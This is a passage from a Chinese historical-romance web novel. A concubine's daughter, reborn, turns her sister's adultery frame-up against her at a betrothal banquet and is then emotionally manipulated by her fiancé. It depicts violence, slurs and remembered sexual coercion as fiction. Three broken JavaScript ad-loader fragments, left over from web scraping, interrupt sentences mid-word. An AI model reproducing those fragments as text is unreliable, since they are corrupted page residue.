温如初点点头,“我已跟绾绾说好,成婚后我在哪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里,她在哪里,不会分离半刻。她胆子很小,怕见生人,不在我身边,我不放心。” 羊脂瓷杯细腻油润,温热湿气缓缓沁出,像极少女莹润削肩。时枫百思不得其解,她与“胆小怕生”有何关系,想得有些头疼,干脆不想了,专心闷头喝酒。 某客人感慨道:“苏二小姐知书达理,色艺双绝,闻名京城遐迩。温侍郎一表人才,云衢新贵之秀。檀郎谢女,真乃天作之合,苏家家主好福气。” 苏君识嘴角遮挡不住笑意,“过奖过奖。小女不才,高攀了贤婿门楣。” 苏温两家联姻,由户部梁尚书同浙江殷布政使,两位二品朝廷大员联名保媒,且得了圣上亲笔御赐,早已传遍街巷,人人交口称赞。 如今三书六礼过了大半,纳征之后,就剩下请期和迎亲。婚姻大事属于板上钉钉,任谁都不得随意毁约。 苏君识的春风得意,与温如初的胜券在握,一笔一划写在各自的脸上,相得益彰。 只苦了时枫,夹在人群中间,淹没于无聊的应酬交际的海洋,推杯换盏的浪潮此起彼伏,让他感到些许窒息。若不为此,他也不会驱车到人迹罕至的苏家偏院等待,就是不愿听人吹牛。 不曾想,却因此遭逢奇遇。 酒过三巡,时枫默默放下酒盏,两手攥了攥拳,站起身打算告辞。 忽然门外响起杂乱脚步声,紧接着进来七八个家丁,吵吵闹闹,推搡一位女子跌跌撞撞进入厅堂。 那女子双手捆缚,口中堵着帕子,眼神惊恐无措。众人定睛一看,不得了,竟是苏家二小姐苏绾。 “怎么回事?”温如初陡然站起身,脸色微暗。 “她偷汉子,被我抓正着。”苏沅芷略微带着激动的颤音自队伍末处传来。 她从容不迫莲步趸向厅堂中央,特意挑选金丝对襟织锦礼服,显得既庄重又大气,就为摆出苏家嫡女的派头。 苏君识佝偻着肩膀,耷拉着眉眼,以为自己听错了,“女儿说什么?再说一次。” 苏沅芷葱指指向苏绾,恨道:“苏绾那小贱蹄子,趁温侍郎上门提亲,家中忙乱之日,躲在偏院与男人苟合,被女儿当场捉住,捆了来交给爹爹发落。” 一席话惊起四座。 提亲之日,苏家二小姐竟被人捉奸在床,这可是了不得的大事。 时枫拿不准这群人唱得哪出戏,若苏绾所言为真,她是遭人陷害才有偏院那一遇,然而对方明明未曾得逞,哪里来的捉奸在床? 这局宴席,总算有点意思了。 男人眉毛一挑,悠哉悠哉负着手,局外人一样看起了热闹。 相比之下,温如初这位局中人,就没那么自在了。 他脸色凝重,双眉紧锁,攥着拳头逼近苏沅芷,“可是你亲眼所见?” 苏沅芷笃定道:“阖府上下,起码十几双眼睛,全都看着她苟且。” 苏绾弱柳扶风栽歪一旁,衣襟领口大片褶皱,手腕处被绳索勒出血痕。她拼命地摇头否认,眼眶噙满委屈的泪水。 那点泪水落在时枫的眼里,犹如心水泛起涟漪,不禁让他起了疑心。这疯女人,方才车厢内还叫嚣威胁他,焉得这般柔弱愚蠢? 温如初颤抖着嘴唇,“凭你一张嘴,可有实质证据?” 苏沅芷定了定心神,使了个眼色,立刻走上来随从老丁。 老丁向周围躬身作揖,说道:“小的乃大小姐随身仆役,纳征吉日奉命打扫偏院,不曾想撞见一桩大事。小的亲眼看见,二小姐不着穿戴,只裹了薄被,登上门口停靠的马车。” 他擦了擦额头汗水,吞咽了口吐沫,继续说道:“起初,小的疑心自己眼花看错了,特意追过去询问车夫,那车上所坐何人。车夫告知,此乃苏家邀请的贵宾,警告我不要滥打听。小的不敢多问,赶紧禀告大小姐。大小姐急急召人,这才在路上拦截了正欲归家的二小姐。” 老丁举二指赌咒发誓:“小的所说尽实,若有半点虚假,天打五雷轰顶。” “那位胆大的奸夫并未离去,此刻就在这宴席之上。”苏沅芷伸手指向人群深处。 众人望向她手指之处,阳光笼罩一袭幽暗身影挺立,而待看清她所指何人,人群瞬间爆炸。 山崩地裂。 4. 捉奸 “就是这位,三品京卫指挥使,时将军!” 如潮人声伴随“时将军”仨字尾音,升入浪极,又骤然跌落,陷入尴尬的沉默海洋。 三品京卫指挥使时枫,绰号“冷面阎罗”,武功盖世,传言曾徒手杀死一只黑熊。其人性格冷酷无情,杀伐果断,不留一丝情面。 没人敢惹“冷面阎罗”。 苏家嫡子苏尽欢突然以拳击掌,恍然大悟道:“原来是你们俩在偏院胡搞,我还奇怪,到底谁家女子勾引时将军。”他跬步向前,耸着肩膀奸笑道:“你俩什么时候搞到一起的?我怎么没听见一点风声?” 时枫脸色骤然晦暗,凤眸低觑苏沅芷,檀唇紧闭,一言不发。两手从背后抽回,骨节分明的手指张开,又合拢,似乎在为某些行动热身。阳光照射厅堂,玄色衣袍抖了抖,银色绣蟒吞吐蛇信,张牙舞爪,栩栩如生。 一旁苏君识吓得浑身哆嗦,揣着袖子问道:“女儿,你可看清楚了?” 苏沅芷挺起胸脯,高声道:“当然。女儿绝无虚假造势。爹爹,快快拿下这对奸夫□□。” 苏君识不敢动手,老眼觑向温如初,期盼未来女婿替他出面协调。 温如初原本紧绷的脸,反而趋于缓和——他十分确定,车厢里的女人不是苏绾,分明是个妓子。但他此刻并不想拆穿苏沅芷。不为别的,此女一贯嚣张跋扈,是时候该吃点教训了。桃花眼眸剪了剪,始终不看苏君识,急得老丈人直跺脚。 家主不发话,满屋子家丁及亲眷,没人胆敢擅自上前,遑论对方还是令人闻风丧胆的将军。 “一群废物,看我的。”苏沅芷见无人替她出头,决定亲自上阵。她端出大小姐的气势,捉裙趸步上前,朱唇轻启:“本小姐看你还有何……” 话未说完,千钧一发之际,一记手刀劈面而来。苏沅芷来不及眨眼,只见浮空一道黑影,手起刀落,虎虎生风,直击额首面门。她身体一颤,软软瘫倒在地,嘴边余留颤颤尾音:“……辩解。” 一连串动作仅发生瞬间。 万籁俱寂,静的可怕。 全场哗然,哭嚎声,惊呼声,叹息声,瞬间混为一体,房顶几欲震塌。家丁婆子们来来往往,递水递巾扇风,拼命拯救大小姐。任谁都无法相信,堂堂京卫指挥使,竟然光天化日之下行凶。细想一下,又在意料之中,扪心自问,谁人有胆子,敢当面指证“冷面阎罗”? 而那行凶之人,神情泰然自若,负手伫立一旁,仿佛局外人一样。 苏君识跺着脚,安排家丁抬走苏沅芷,失声痛哭:“这、这是要干什么?作孽哟。”话虽如此,可他也没胆子将罪魁祸首绳之以法。 苏尽欢惊愕地瞪大眼睛,吐着舌头,心里十分后怕,倘若盲从姐姐上头阵,让他也挨上这一劈,这会子趴在地上装死尸的就是他。 温如初脸色如霜,隐藏在月白袖管内的双手,紧紧攥了攥拳。他的发小刚刚以一击手刀,重拳劈了他的妻姐。虽在意料之内,然而这样并不能洗清时枫的嫌疑。 苏绾躲在阴影,面色依旧保持惊恐无状。无霜悄悄趁乱上前,解开苏绾的束缚,附耳低语。苏绾点点头,星眸眼波流转,不经意与清冷凤眸对接。 一瞬间,他忽然明白,自己已然成为她手中的一颗棋子,任人摆布。玄袍男人不再淡定,眸底迸发狠戾之色。这疯女人,竟敢设局陷害他,不要命了! 他才没心情陪玩。时枫咬咬牙,负手抬靴欲走。 “且慢。”后堂传来气势沉稳之声。 苏夫人缓缓踱步行至堂前,一屁股坐进太师椅,“时将军打伤我的女儿,还想一走了之,视我苏家为草芥。万万不可。今日老身,非要为爱女讨回公道。” 时枫转过身,“你要讨公道,自去衙门声讨。”凤眸微眯,语气充满不耐烦,“这与我何干?” 苏夫人果然见过世面,丝毫没被对方的威名吓倒,丹凤眼一斜,拿出当家主母的气势,“怎会与你无关?人不是你打的吗?这么多双眼睛可都看着呢,还想狡赖不成。堂堂三品京卫指挥使,光天化日行凶,当我苏家没人么?” 她低下细眉,眼里满是戏谑,“你离开京城太久,怕是不知道,哪里的钉子碰不得。” 时枫冷笑一声,“你既这么说,本将军偏要试一试,这根钉子能有多硬。”他负着双臂,有模有样看起了热闹。 苏夫人嘴上逞能,心里仍惧怕他几分,她拿时枫没辙,只好拿苏绾开刀。她两手掐腰,横眉怒目,“你这不孝女,快快实实招来。” 苏绾玉手扶额,佯作回忆:“我一早起来,沐浴、更衣、梳妆、焚香、祈福。总归就是这些平常事,并无见过外人。整个早上我都待在自己房间,未曾踏出房门半步,徐嬷嬷可以作证。哦,对了,半个时辰前,母亲还差人递金簪与我,嘱咐我宴席配戴。” 徐嬷嬷乃苏老太爷在世时管家嬷嬷,虽年岁大了不太管事,言行在苏府仍占重要地位,遑论苏夫人那边,亦有人证。 苏绾继续说道:“宴席开始,我寻了半日不见大姐姐,就去东厢房找她。谁知……” 佳人欲言又止,粉泪盈盈,“大姐姐一见我,就说我触了她的霉头,掐我的脖子咒我不得好死,呜呜……” 衣领半开半阖,隐约可见殷红掐痕。 “大姐姐不解恨,又叫人绑了我的手,堵住我的嘴,说是要治我通奸的罪名,还、还要叫爹爹把我吊梧桐树活活打死。” 苏绾捶胸顿足哭泣,腕间呈现道道血痕,那是被麻绳勒出来的痕迹。 温如初握住苏绾的玉手,心疼道:“绾绾,我相信你。” 那边苏夫人幽幽道:“凭她一张嘴,说出来的话怎可信?小偷难道会承认自己是贼不成?” 她自袖里掏出绢帕包裹,鼓鼓囊囊,摊开手掌看,原来是块小巧墨玉翡翠,晶莹剔透,做工精细,一看就是上品。 “据小女的随身奴仆说,这东西是奸夫从身上扯下来,赠与苏绾的定情信物。” 苏夫人丹凤眼一沉,拍案而起,“谁身上少块玉,谁就是奸夫。不做亏心事,不怕鬼敲门。在座诸位都有份,老身倒要看看,到底是谁,见不得阳光。” 时枫负在身后的手掌陡然僵硬,束腕镶嵌的翡翠不翼而飞,想来是在车厢被人挖了去。 这可不好办了。 另一边后厅众人接力抢救,又是掐人中,又是灌人参水,约莫一刻钟工夫,苏沅芷终于清醒。她蓬头散发,形容憔悴,额间竖立血痕,一指来长,好似百足蜈蚣。 苏沅芷摸额首,鲜血淋漓,她三步并作两步,趿拉绣鞋奔入前厅,迎头痛哭:“爹爹娘亲,冤煞女儿也!” 苏夫人拉着苏沅芷的手安抚道:“沅儿莫怕,娘亲给你做主。事情不查个水落石出之前,他们谁都不许走。” “来人呐。”苏夫人一声令下,“关门,搜身。” 闻听苏夫人要搜身,在场宾客轰然炸裂。 “岂有此理,我看谁敢搜本官的身?咱们明日衙门见。” “苏郎中,别把事情做绝,大家共事一堂,低头不见抬头见的。” “你家里出了丑事,屎盆子扣到我们头上,不想活了?” 苏君识以袖口擦拭额头细汗,躬身连连致歉,“不敢不敢,苏某绝不做怠慢无礼之举,各位放心放心。” 时枫站在人群里,进也不是退也不是。等下搜到他头上来,岂不是人赃并获。 可恶。 男人阖合眼眸,咬了咬后槽牙。 忽然身后负着的手心,有人悄悄塞进什么东西,质地冰冰凉凉,摸着形如雀卵。 原来是无霜,趁人不注意,递了块相似的绿松石给他,解了他的燃眉之急。 男人悄无声息将绿松石摁进束腕处凹槽,形状大小正好,严丝合缝匹配。亏得她费尽心机,寻到几乎等大的玉饰。 疯癫婆娘,存心耍弄他! 这时上来一列家丁,由老丁带队,叫嚣向宾客逐渐靠拢。苏夫人一手掐腰,一手拈帕,指向漩涡中心,尖着嗓子道:“给我搜!” 十几双大手扑棱够向外圈宾客,老丁前头吃了时枫的亏,故意找准位置探向男人身侧,嘴里声东击西地道歉:“得罪了,得罪了。” 手指甫一触及腰间束带,却被铁爪狠狠钳住手腕,力度极大。只听“咔嚓”一下,老丁遽然收手,举着扭曲反向变形手臂,吱哇乱叫:“疼疼疼……” 人群汇成混乱的海洋,一波未平,一波又起。苏夫人脸色骤变,嗓子几乎变音:“上,给我上!” 剑拔弩张之际,管家突然进门,凑近苏君识耳边,小声道:“老爷,发现柴房关押一名小厮,问啥都不肯说,形迹十分可疑,要不要叫上来问问?” 这节骨眼竟然抓到可疑人物,苏君识忙令:“快快带上来。” 不多时,小厮手足捆绑,悬吊扁担下,被家丁抬着送进厅堂。小厮一把鼻涕一把泪道:“求老爷饶命,都是大小姐指使,要小的假扮奸夫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,躲在西厢房,伺机陷害二小姐。小的不敢不从,按照指示打算西厢房潜伏,越想越不对劲,小的哪能做此伤天害理之事。小的良心发现,打算跑回老家,谁知半路被府上家丁截住,小的说不出子丑寅卯,被绑了个结实。小的实在冤枉啊。” 温如初逼近小厮,“你可曾侵犯二小姐?” 小厮慌忙揺手否认:“不敢不敢,小的在西厢房躲藏半日,不见二小姐的影子,惟闻门外响起马蹄声,不知从哪里来了一辆马车。小的担忧被人发现,趁早翻墙溜了。” 苏沅芷看情形不对,伸出葱指欲撕烂小厮的嘴,“你这孽障,偏偏诬陷我作甚?闭嘴,我要你永远闭嘴。” 幸亏管家眼明手快,命令家丁立即将小厮抬下去,锁进柴房,听候发落。 真相大白,水落石出,苏沅芷自导自演一出戏,难以自圆其说,搬石头砸自己脚。 时枫方才醒悟,原来并非“仙人跳”,而是一局“借刀杀人”,苏绾假借他的手,惩罚陷害她的苏沅芷。 话虽如此,然而他并不喜欢被人当作一柄刀来使。 温如初冷眼睇了半日,拜向苏氏夫妇,“岳丈岳母,事情既已水落石出,也没有再问下去的必要。依小婿来看,大家各退一步,得饶人处且饶人,所谓家和万事兴。” 苏君识缩了缩身子没有搭话,装出唉声叹气的样子,好似霜打的茄子。 苏夫人仍不肯罢休,“还没搜身呐,万不可轻易断定没有鬼。即便小女一时糊涂办错事,又如何证明苏绾没有通奸?” 苏夫人不愧女中豪杰,思路清晰,逻辑通畅,连时枫都觉得,她的话有道理。 何况,他并不怕被搜身。 男人故意挺直腰板,摆出高姿态。 忽然苏绾轻轻说道:“假如时将军是奸夫的话,恐怕在座各位早已被遣散归家,还吃什么定亲宴。” “堂堂京卫指挥使,驰骋沙场间,又怎可能置自己的女人于深渊不顾,甘愿受万夫指点?” 时枫差点咬断后槽牙,这疯女人耍弄他还上瘾了,故意把嫌疑往他身上扯。 好在没人猜忌到他头上,况且他最近才从边疆调任京卫,初次登门苏府,哪有机会同苏二小姐苟且。 不通不通。 众人感慨,苏夫人一招见风使舵,还算高明,可惜没有半点说服力。 苏沅芷见大势已去,一时气血冲头,两眼放射凶光,“你这小娼妇,竟敢陷害我,我杀了你!”说着,疾走两步,陡然伸手扼苏绾的喉咙。 苏绾花容失色,“不要啊,求姐姐放过我。” 苏沅芷披头散发,全无官家小姐端庄模样,口中骂骂咧咧,当真好似女鬼索命。两手触及脖颈,刚要用力,谁知脚底一滑,又或是被人绊了下,忽然身子一斜,向桌案栽歪。 好巧不巧,案上摆放一盆铜火锅,炭火炽热。苏沅芷的额头擦着铜锅壁滑落,皮肤焦灼,发出“滋啦啦”的声响。原本劈裂的伤口,经过烧灼,肌肉紧缩,反倒止住血流。 “啊——”苏沅芷大叫一声,声音撕心裂肺,身子摇晃几下,再次晕厥扑倒。 婆子妈大呼小叫,众人围绕簇拥。明眼的宾客低头,都道是苏大小姐“活该”。 时枫抬脚往外走,无奈被温如初扯住手腕,正按在腕间镶嵌绿松石处。 温如初苦苦央求:“榆白,看在你我总角之交情分,救场如救火。大不了,我欠你一顿醉仙楼,如何?” 时枫有意无意抽回手,“这时候想起我来了?方才他们将屎盆子扣我脑袋,你又在何处?” 温如初忙说:“哎呀,榆白兄。我有难言苦衷啊。换位思考,假若旁人污蔑我对你图谋不轨,你是否也要慎思笃行呢?” 时枫冷哼一声,“一顿醉仙楼就想打发为兄?也忒便宜你了。” 话虽如此,他还是留了下来,帮忙疏散宾客,清理现场,指挥秩序。 一旁的苏绾感到呼吸困难身心俱疲,周遭好似有无数蚊蚋,嗡嗡嗡,吵得她心烦。 她的心思,全在另一处。 午后阳光正好,密密匝匝光线透过窗棂照进厅堂,投下斑驳陆离的影。那光影连接处,站着一具高大挺拔身影,似远又近,若即若离。 苏绾忍不住伸出手,追逐那束光的尽头。 “绾绾。”温如初伸手扶住快要晕厥的苏绾,附耳细语道:“你随我到后花园来,我有事情跟你说。” 满地光影瞬间碎裂在她的手心。 5. 操控 后花园池塘清澈见底,睡莲盛开,水佩风裳,茂叶含翠,花瓣如玉,鱼儿穿梭其间,涟漪荡漾。 在这片柳亸莺娇,祥和宁静的景致里,苏绾却好似坠入无尽深渊地狱。身子骨软弱无力,不住打冷颤,白皙额首沁着细汗,浑黄眼珠蒙上一层阴翳。 “绾绾,你不舒服?我叫人煮点桂圆红枣汤给你。” 温如初倚在凉亭内吴王靠,两臂伸展搭在靠背,姿势慵懒且放松。厅堂内的喧嚣消失殆尽,此刻他心情一片骀荡。 听起来再普通不过的问候,只是温如初的“开场白”,让人感到暖心的关切,根本不会怀疑任何险恶用心。然而除苏绾以外,无人知晓那层良善的面具之下,隐藏怎样丑陋嘴脸。 苏绾如坐针毡,两臂绞在一处,嘴唇紧抿,沉默地摇摇头。 “你没有什么话想同我说吗?”温如初睇着苏绾,桃花眸底泛出冷戾光芒。 “我……”苏绾咬着苍白的唇际,心里乱作一团。 纳征大喜之日,她引诱外男,背叛亲夫,暗算长姐。任何一点拿出来,都是“死罪”。假如神佛显灵,也要治她背信弃义、水性杨花的罪名。 重生一世,她可有别的路走? 苏绾稍微坐直身子,颤巍巍地捋起散乱青丝,“苏沅芷故伎重施,大概不想我能安稳离开这个家。你也知道的,她一直钟情于你,想方设法拆散我们。” 她扬起洁白额头,十分小心地窥他,“念哥哥,你不相信绾绾吗?” 他绝无可能看破她的谎言,撇去结果不论,她的计划毫无纰漏,堪称完美。 “我当然相信绾绾,你在这一点上,做得很好。”温如初抬起俊美下颌,眼皮半饧,嘴角噙着笑意,“我答应过你,一定会娶你过门,让你不再受苏家折磨。我做到了,全心全意爱你,不疑有他。而你回报我的是什么?忘恩负义,吃里扒外,嗯?” 他习惯运用这套话术审问,先肯定她的心意,继而袒露心扉,最后突然反转,扣一顶背叛的帽子给她,教她无所适从。 假若她对他的决定表示异议,他会立即将她背叛罪名无限扩大化,甚至不惜侮辱她的人格。 时间一长,苏绾痛得麻木,便忘记了反抗。 “绾绾不敢。”苏绾低下头。 温如初向前倾了倾身子,月白袍子映着碧绿潭水,衬托他素辉一样冰而冷的眼眸,“当真不敢?你再仔细想想,要不要我帮你回忆一下?” “绾绾没有骗人。”苏绾跪伏在他膝前,仰望她从前的“神”,努力装出虔诚模样。 “很好。”温如初畅然笑着。 那笑容有几分堪破阴谋诡计的从容,又有几分尽在掌握的淡定。 他伸出纤白手掌,轻轻抚摸苏绾额首,桃花泛水的眼眸里,闪着对乖巧宠物的赞许。 “绾绾,你对我很重要。” 惊雷霹雳,沿着冰凉指尖灌入她头顶,仿佛炸开窍。 苏绾浑身颤抖不已,熟悉话语一遍又一遍响彻耳际。脑海里飞速掠过一幅幅画面,每张画里都有同样玉质金相面孔,挂着同样阴鸷邪恶笑容,抚摸她的额首,对她说:“绾绾,你对我很重要。” 他亲手将她送到阁老床榻,以换取内阁一席之地;为拉拢掌印太监,逼她玉体横陈皇宫大殿,只为满足掌印私欲;她全心助力他权势滔天,成为内阁首辅,再到摄政王,却不肯给她皇后的名分。反叛军来袭,他只还她一丛烈火得永生。 不堪回首的画面在眼前不停环绕,记忆浪潮一波又一波,猛烈拍打苏绾的神智。无休无止的折磨,化作绝望的网,牢牢束缚她的心,割裂块块血肉,汩汩流着血水。她感到喉咙有些发痒,伸出手指抓挠,直刮出一道道血痕。 迷离恍惚之中,唯有游思飘荡。 糟糕! 一定不能被他抓住她撒谎,否则他会杀了她,会杀掉所有人。他的本事通天,连皇帝老儿都被他鸩杀。他呼风唤雨,通晓前世今生,上天入地,无所不能。他是神明,是宇宙万物主宰,掌握一切生杀大权。 凡人怎能忤逆神明? 苏绾蜷缩成一团,两手不停抓挠喉咙,齐齐咬断指甲,她必须隐藏秘密。不能被他发现,会死,她会死在这里。 “绾绾,不要闹了,好不好?”温如初对苏绾的激烈反应感到莫名诧异,她向来乖顺,如今怎么问她几句,就这般疯癫难弄。 他拢着腿弯抱她,轻抚她后背叹息,“何苦伤害自己?伤在你身,痛在我心。” 捏起她的下巴尖,左右看了看,痛惜道:“如此纯净无瑕容颜,怎就舍得割破?你对我也忒狠心。” 又挽起葇荑,敛着眉间,“这双灵巧的手儿,拈绣花针还不够吗?偏要用来折磨自己,实在是不乖。” 苏绾已分不清前世今生,只想撇清自己嫌疑,嘴里呶呶:“我没有骗你,你要相信我,相信我。” 温如初搂着她,“我当然相信你,然而适才殿堂之上,当着众人面,你的行止着实让我难堪。” “你说:‘假如时将军是奸夫的话,恐怕在座各位早已遣散归家,还吃什么定亲宴’,你瞧瞧你这说的什么话?成何体统?就算是一时气话,也不该这般粗鄙狂妄。我堂堂三品户部侍郎,难道没本事帮你洗清嫌疑吗?” “你不该搭讪外男,忒不懂分寸礼仪,更何况他还是我谊切苔岑的兄弟。我在人前失面子事小,若被人谣诼你清白,说你水性杨花,勾引大伯,我怎么受得了?嗯?” 温如初低首睐她,“现在知道错了没有?” “绾绾知道错了。”苏绾神思尚恍惚,迷迷糊糊地答应着。只求他不再追究她的过错,根本无法深究他是“强词夺理”,还是“无中生有”。她蜷缩进男人宽阔怀抱,让自己显得乖巧且无害,这样就不会被他杀掉。 “乖,知错能改,善莫大焉。” 温如初并不相信苏沅芷胡诌编撰的那套说法。苏绾没有那个胆子,敢欺骗背叛他。 白玉公子睇着胭脂淡色面颊,长长睫毛挂着晶莹泪花,星眸桃花泛露,浅浅柔唇残留痴怨,忍不住动了情。 他凑近佳人,耳鬓厮磨,“请期吉日良辰拟由司礼监选定,届时我请八抬大轿来娶你,做我温念的妻。你高不高兴?嗯?” 苏绾迷迷糊糊听到这句话,忽如寒潮笼罩,浑身冰冷如霜。 做我温念的妻。 心里有个声音督促她,大声警醒她,要她千万记住这六个字。 刻骨铭心的苦楚,将她从无边无止恐惧中,一层一层,如抽丝剥茧般拉回现实。 短短六个字,便是她人生噩梦的开始。 为此,她付出血与泪的代价,赔上全部身家性命。 重生一世,为何而来? 她唯有一句回话: 死也不做他的妻。 “你说什么?”温如初眼眸一凛,杀气棱棱。 白玉公子动了怒气,月白袍子迎风拽影。 “你不高兴嫁给我?” 苏绾全然苏醒,面对温如初的质问,假装木讷地点点头,“高兴,绾绾巴不得早日嫁入温府,逃离这个吃人的家。” 星眸婉转,一缕愁云袭上眉间,“可是,良辰吉日泰半集中秋冬时节,算一算,还有大半年呢,绾绾等得好辛苦。” 温如初闻言笑了笑,“原来如此,你是在急这个呀。” 他将苏绾揽进怀里,下颚架在苏绾头顶,眼眸充满憧憬:“你莫要担心,待我有空敲打岳父母,争取将婚礼日子定在霜降。不算太久,也不会太近,足够你筹备张罗。” “我要让绾绾,成为京城最耀眼的明珠。” 苏绾默默倾听着,让她前世痛不欲生的神明的甜言蜜语,内心平静如水,心底隐藏的伤痕映照一清二楚。 她灵机一动,掏出贴身的白罗帕子,葱指翻转几下,即绾作同心结,献给心上人,绑在手腕间。 “念哥哥,愿你我,同心结尽千千缕,朝朝暮暮长相思。” 温如初畅笑一声,食指刮了刮她的鼻尖,“小东西,就你鬼机灵,巧嘴巧手,谁都比不过你。” 好险,差点被他发现真相。 她忽然意识到,想要逃脱温如初的桎梏,简直比登天还难。他随意几句话,便能让她丧失理智,濒临崩溃边缘。但她有的是耐心,鹄望恶鬼败在她的利剑之下,再将它亲手推入无间地狱。 只是,她须先借到这把剑。 苏绾偎依温如初怀里,又同他假意温存一阵,借口推说风刺得她头疼,扶额摇曳离开后花园。 出得月亮拱门,躲避温如初视线,苏绾甩开手臂,向西边廊檐急急奔去。她须回柴门查看,确 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 认关押的小厮已被悄悄释放。 没走两步,突然两眼一黑,一堵高墙挡在面前。 苏绾抬螓首睇去,铁兽正黑脸觑她。身上散发出清冽如雪的松木气息,刺激她的神智一跳一跳,她向来不喜欢松油的味道。 “时将军,你还没走?奴家要谢谢你,两次帮我脱离困境。” 时枫没搭理她,凤眸散发冷戾锋芒,好似两柄利剑,要将苏绾射死。 睇了半日,男人缓缓说道:“娼妓二字,与你很配。” 苏绾平生最恨被叫那两个字,尤其是从他嘴里吐出来,承载前世今生双重愤怒,登时一股火气窜上眉间,“敢问时将军,此话怎讲?若是为先头马车一案,真相已经大白,也不必再过多纠缠。倘若时将军一意孤行,污蔑诋毁我的清白,那我告诉你,我娘就是娼妓,我是娼妓生的崽子,生下来就是下贱命。这话根本伤不得我一分一毫。” 时枫蓦然一愣,未曾料到她会这般坦荡又刚烈。他张了张嘴,似要变本加厉地回怼,又犹豫着,眉头蹙得紧紧。隔了半晌,吐出一句:“耍弄我,有意思?” 苏绾内心自省一番,借他人之手杀苏沅芷,确是她的野心,她也无从辩驳。可这事你情我愿,话不投机半句多,谈不上“耍弄”二字。 “时将军多心了,宴席之上纯粹苏家内部家事,无意卷将军入纷争,你也看见了,是她苏沅芷坑害我在先,坏人自有天惩。然而奴家确切欠将军一个人情,这里并非畅谈之所,改日奴家专门下帖子请你,醉仙楼一叙,可好?” 佳人神情自若,巧言令色,仿佛巧嘴鹦哥,抖动长长尾羽,婉转莺啼。这个疯女人,人前一套,人后一套,左右逢源。 他处理完前厅的喧嚣,安顿好惊慌的宾客,打算跟温如初道别。趸至后花园,恰好窥见二人搂抱成团,卿卿我我。 一条帕子绾作同心结,朝朝暮暮长相思? 换做旁人也便罢了,夫妻伉俪情深似海。可这疯女人,前一刻还在他面前,脱光了衣服求他救助,下一刻就和温如初花前月下、山盟海誓。 蛇蝎美人,拿他当猴耍。 大手擎住单薄肩膀,猛地揿在廊柱,惊得佳人低低尖叫:“你干什么?” 男人凑近娇容,眼眸泛着黯晦光芒,“小婊子,给脸不要脸。惹怒了本将军,你可知道后果?” 那冷光令人不寒而栗,苏绾颤抖声音求饶:“奴家自知欠时将军人情,总要宽裕些时间,何必逼人太甚?” “区区一句还人情,就想打发我?那么谁来安抚本将军所受的委屈?我可是挂上奸夫的铭牌,被迫招摇过市。” 觑着雪白小巧耳珠,时枫颇有些懊悔,假若车厢里将计就计吃掉她,至少不会败得如此破落不堪。 苏绾亦十分后悔,恨自己初生牛犊不怕虎,竟敢打“冷面阎罗”的主意。这家伙软硬不吃,简直无懈可击。 绝不可坐以待毙,束手就擒。 苏绾低下眼眸,沉声道:“时将军,你也算见识过奴家的本领,就算闹出天大的动静,奴家也能掩盖了事。你就那么有把握,他会选择相信你?” “将军不是说过,‘温如初与我尔汝之交,鹡鸰在原’。还是说,将军已做好背叛兄弟的准备?” “此刻,他就在隔壁后花园晒太阳,将军自可随意殴打奴家,一掌拍死我也没问题。只是,”苏绾眼眸一沉,“你不要后悔。” 没完没了,这疯女人不要命吗?! 不仅一眼看破他的虚张声势,还在蛊惑他,欺骗他,真当他是天底下最大的傻瓜。 “够了。” 时枫厌恶至极,心里似吃了苍蝇,恨不得赶紧摆脱掉她,他一把甩掉如玉臂膀,牛眼狠狠瞪着苏绾,“滚,少来惹我。” 言毕,转身欻然离去,连温如初也不去见。 这是他今日第二次让她滚,苏绾一路目送如山背影,心里免不了后怕。伴君如伴虎,她实在不该招惹一匹猎兽。 可她无论如何都想不到,纳征完美一战,并非败于他的难缠,而是溃于一条罗帕同心结。 正思索间,忽然苏夫人房里的婢女阿沁急急忙忙向这边走来。 阿沁见了苏绾,来不及打招呼,急道:“夫人召二小姐去厅堂问话。” 苏绾眼眸一沉,苏夫人果然不会轻易放过她。 6. 家法 一进厅堂,便见檀香紫檀木雕花大案,漆器杯托银壶,珍珠香囊荷包,琥珀雕屏障眼。黄金烛台悬于左右,白玉盆内盛放清香之品。 与之华美摆设不相搭配的,却是厅堂内冷漠的苏家家主——苏君识,埋进黄花梨太师椅,两撇淡眉各分东西,与八字胡遥相对映。巧合的是,都沾染黄昏晚露,亦或席间冷酒。两条单薄的唇,因愤怒而微微分离,却又不敢完全张开,生怕抢占夫人的风头。 “你这不孝女,当着众多宾客面,冲撞忤逆你姐姐,教她颜面尽失,想活活气死你爹?我养你这么大,竟养出一只白眼狼。快向你姐姐赔不是,再去祠堂下跪,面壁思过,三日不得进食。” 苏绾跪在厅堂中间,心里忖度应对策略。 苏家绝不肯善罢甘休,必定狠狠教训她一顿,替苏沅芷出气。不管苏沅芷有没有过错,是不是构陷,苏绾都要为所作所为付出代价,这是庶女的宿命。 她垂着眼眸,神情坦然,不卑不亢,“父亲说话好没道理,明明苏沅芷诬陷我在先,被我戳破谎言后,恼羞成怒又想掐死我,怎么还要我跟她道歉?温侍郎与时将军在场时,父亲可不是这样下定论的。” 苏君识闻言大怒,“啪”得拍案而起,“你还好意思提起他们?堂堂三品大员为你蒙羞,传出去丢我苏家的脸面。温侍郎亲自上门提亲,那是我苏家何等荣耀?你却将之毁于一旦。逆女!逆女!” 苏绾面无惧色,挺直腰板,勇敢迎上愤怒的目光,“苏家的脸面可不是被我丢尽的,毁了宴席的人也不是我。外头的人纵使嘲笑,也嘲不到我头上。他们只会笑苏家嫡女是搬石头砸自己脚的蠢货,笑苏家家主是枉顾是非颠倒黑白的庸才。” 苏君识万没想到,一向逆来顺受的庶女竟敢当面嘲弄他威严,气得七窍生烟,眉毛胡子一把抓,“还敢顶嘴?来人呐,给我狠狠抽她嘴巴,我看你嘴硬到何时!” 苏绾一动不动,目光坚毅毫无惧色。自她八岁踏进苏家门槛以来,头些年没少挨打。尤其她娘去世后,动辄得咎,没日没夜的打,常常打得她接连数日下不来床。 “有种你就打死我,只要我还留口气,我就要宣告天下人,苏沅芷撒谎成精,辱我清白,构陷我同小厮捱光,她有今日下场,活该,她活该!” 苏绾大笑着,眼眶泪水止不住流。 